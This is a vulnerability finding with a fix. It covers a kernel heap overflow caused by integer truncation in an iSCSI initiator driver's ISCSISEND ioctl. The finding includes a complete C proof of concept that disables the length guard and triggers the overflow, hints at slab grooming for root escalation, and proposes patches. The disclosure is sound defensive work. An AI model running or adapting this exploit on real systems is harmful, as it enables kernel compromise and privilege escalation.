Summary

ISCSISEND copies a user-controlled pdu_t (including arbitrary u_int ahs_len / ds_len) into the kernel, then i_prepPDU accumulates len as a 64-bit size_t but stores it into the 32-bit pq->len (iscsivar.h:182), silently truncating when ahs_len + ds_len >= 2^32.

The only overflow guard — the maxBurstLength comparison in i_prepPDU — is bypassable because sp->opt.maxBurstLength is int and is sign-extended to a huge size_t in the len > sp->opt.maxBurstLength comparison (any negative value such as -1 disables it).

i_send then kmallocs a tiny buffer (pq->len - 48 bytes) but copyins pp->ahs_len bytes (potentially gigabytes) into it, producing a kernel heap overwrite with attacker-controlled bytes.

Root cause

1. isc_sm.c:262 declares size_t len, n; and isc_sm.c:268 does len += pp->ahs_len; (pp->ahs_len is u_int, attacker-controlled via the ISCSISEND arg at iscsi.c:454 pq->pdu = *(pdu_t *)arg).
2. isc_sm.c:291 pq->len = len; truncates 64-bit len into u_int pq->len (iscsivar.h:182) — for pp->ahs_len = 0xFFFFFFFC and pp->ds_len = 0x10, len becomes 0x100000003C and pq->len wraps to 0x3C (60).
3. isc_sm.c:293 if(sp->opt.maxBurstLength && (len > sp->opt.maxBurstLength)) compares size_t len to int sp->opt.maxBurstLength; the int is promoted via sign-extension, so a negative value set via i_setopt (isc_subr.c:99-102, which accepts any non-zero int including -1) becomes SIZE_MAX and the comparison is always false. With the guard disabled, i_prepPDU returns 0.
4. iscsi.c:461 pq->buf = bp = kmalloc(pq->len - sizeof(union ipdu_u), M_ISCSI, M_NOWAIT) allocates 12 bytes for the example above.
5. iscsi.c:467-475 if(pp->ahs_len) { n = pp->ahs_len; error = copyin( pp->ahs, bp, n); ... } issues copyin(user_addr, 12-byte-bp, 0xFFFFFFFC) — a multi-gigabyte write into a 12-byte kernel heap object.

The downstream transmitter isc_soc.c:125 bcopy(pp->ahs, mh->m_data + mh->m_len, pp->ahs_len) (note the unenforced XXX Assert: (mh->m_pkthdr.len + pp->ahs_len) < MHLEN at isc_soc.c:123) is a second independent overflow sink for any ahs_len > ~MHLEN even without the integer wrap, but it is only reachable after i_send has already corrupted the heap.

Threat model

The attacker must be able to open /dev/iscsi (mode 0600 root:wheel, so root or wheel-group).

The attacker:

1. issues ISCSISETSES (iscsi.c:205) to mint a session
2. issues ISCSISETOPT (iscsi.c:229) with maxBurstLength = -1 to disable the only length guard
3. mmaps a large anonymous region (16 MB..4 GB depending on the chosen ahs_len/ds_len split — the copyin source must be fully mapped or copyin returns EFAULT and aborts)
4. issues ISCSISEND with a pdu_t whose ahs_len+ds_len >= 2^32

Impact is unbounded kernel heap corruption with attacker-controlled byte content from a 0600 device — sufficient for kernel-code execution, securelevel bypass, or full system compromise from a wheel-group principal.

The normal userland daemon (iscontrol) never sends PDUs with non-zero AHS, so the bug is dormant under benign use and is triggered only by a malicious/compromised daemon or by a wheel-group user talking directly to the device.

PoC

findings/poc/DF-1703/df_nnnn.c:

/*
 * DF-NNNN PoC: heap overflow via iSCSI ISCSISEND integer truncation
 * Build: cc -o df_nnnn df_nnnn.c
 * Run:   ./df_nnnn   (as root or wheel, after `kldload iscsi_initiator`)
 */
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <err.h>
#include <dev/disk/iscsi/initiator/iscsi.h>

int
main(void)
{
    int ctl = open("/dev/iscsi", O_RDWR);
    if (ctl < 0) err(1, "open /dev/iscsi");
    int sid = -1;
    if (ioctl(ctl, ISCSISETSES, &sid)) err(1, "ISCSISETSES");
    char path[32]; snprintf(path, sizeof path, "/dev/iscsi%d", sid);
    int sd = open(path, O_RDWR);
    if (sd < 0) err(1, "open session dev");

    /* Disable the only length guard: maxBurstLength = -1 disables the
       `if(maxBurstLength && len > maxBurstLength)` check after sign-ext. */
    isc_opt_t opt; memset(&opt, 0, sizeof opt);
    opt.maxBurstLength = -1;
    if (ioctl(sd, ISCSISETOPT, &opt)) err(1, "ISCSISETOPT");

    /* Need a socket bound to sp before i_send accepts the PDU */
    int fds[2];
    socketpair(AF_LOCAL, SOCK_STREAM, 0, fds);
    int one = fds[0];
    if (ioctl(sd, ISCSISETSOC, &one)) err(1, "ISCSISETSOC");

    /* Map a generous source region so copyin does not EFAULT early. */
    size_t mapsz = (size_t)1 << 30;            /* 1 GiB */
    char *r = mmap(NULL, mapsz, PROT_READ|PROT_WRITE, MAP_ANON|MAP_PRIVATE, -1, 0);
    if (r == MAP_FAILED) err(1, "mmap");
    memset(r, 0x41, mapsz);

    /* Choose ahs_len + ds_len to wrap to a small total in u_int pq->len.
     * 0x40000000 + 0xC0000010 = 0x100000010  =>  pq->len wraps to 0x40 = 64
     * => bp = kmalloc(16) but we copyin 0x40000000 bytes. */
    char ahs_src[16], ds_src[16];
    memset(ahs_src, 'A', sizeof ahs_src);
    memset(ds_src,  'B', sizeof ds_src);
    pdu_t p; memset(&p, 0, sizeof p);
    p.ahs_len = 0x40000000;
    p.ahs_size = 0x40000000;
    p.ahs     = (void *)r;          /* fully-mapped source */
    p.ds_len  = 0xC0000010;
    p.ds_size = 16;
    p.ds      = ds_src;
    p.ipdu.bhs.opcode = ISCSI_NOP_OUT;
    p.ipdu.bhs.I = 1;

    printf("firing ISCSISEND, expect kernel heap corruption / panic\n");
    ioctl(sd, ISCSISEND, &p);       /* corrupts heap; expect panic */
    return 0;
}

Success looks like: immediate kernel panic in malloc/UMA-zone internals or in any subsystem whose object got overwritten (e.g., panic: memory corruption / freed item in use / corrupted proc creds).

On a non-panic run, an attacker who grooms the M_ISCSI slab to place a victim object (function pointer, cred, filedesc) immediately after the 12-byte bp can convert the overwrite into a controlled kernel primitive and escalate to uid 0 / escape securelevel; that exploitation step is left to the runner.

Recommended fix

Three independent defenses, any one sufficient; ship all three for defense-in-depth.

1. Make i_prepPDU reject inputs that do not fit pq->len (u_int) without truncation
2. Make the maxBurstLength comparison type-safe
3. Bounds-check ahs_len and ds_len in i_send against a sane maximum (e.g., the negotiated MaxRecvDataSegmentLength) and against the BHS field width (AHSLength is 8 bits → ahs_len <= 1020)

--- a/sys/dev/disk/iscsi/initiator/isc_sm.c
+++ b/sys/dev/disk/iscsi/initiator/isc_sm.c
@@ -263,6 +263,12 @@ i_prepPDU(isc_session_t *sp, pduq_t *pq)
      pdu_t *pp = &pq->pdu;
      bhs_t *bhp = &pp->ipdu.bhs;

+     /* Reject lengths that cannot be represented in u_int pq->len without wrap. */
+     if (pp->ahs_len > UINT_MAX - sizeof(bhs_t) - 8 ||
+    pp->ds_len  > UINT_MAX - sizeof(bhs_t) - 8 - pp->ahs_len)
+     return E2BIG;
+
      len = sizeof(bhs_t);
      if(pp->ahs_len) {
      len += pp->ahs_len;
@@ -290,8 +296,11 @@ i_prepPDU(isc_session_t *sp, pduq_t *pq)

      pq->len = len;
      len -= sizeof(bhs_t);
-     if(sp->opt.maxBurstLength && (len > sp->opt.maxBurstLength)) {
+     if(sp->opt.maxBurstLength > 0 &&
+       (len > (size_t)(unsigned)sp->opt.maxBurstLength)) {
      xdebug("%d] pdu len=%zd > %d",
         sp->sid, len, sp->opt.maxBurstLength);
      // XXX: when this happens it used to hang ...
      return E2BIG;
      }
      return 0;

--- a/sys/dev/disk/iscsi/initiator/iscsi.c
+++ b/sys/dev/disk/iscsi/initiator/iscsi.c
@@ -454,6 +454,14 @@ i_send(struct cdev *dev, caddr_t arg, struct thread *td)
       pq->pdu = *(pdu_t *)arg;
       pq->refcnt = 0;
+
+     /* AHSLength is an 8-bit field in 4-byte words => ahs_len <= 1020.
+      * ds_len must fit inside the negotiated data segment length. */
+     if (pp->ahs_len > 0xFF * 4 || (pp->ahs_len & 0x3) != 0)
+     goto out_einval;
+     if (sp->opt.maxRecvDataSegmentLength > 0 &&
+     pp->ds_len > (u_int)sp->opt.maxRecvDataSegmentLength)
+     goto out_einval;
       if((error = i_prepPDU(sp, pq)) != 0)
      goto out;
+     /* ... */

(Add an out_einval: label that sets error = EINVAL and jumps to the existing cleanup at out:.)

Related findings

• DF-1704 (sibling: padding-calc mismatch OOB write in same function)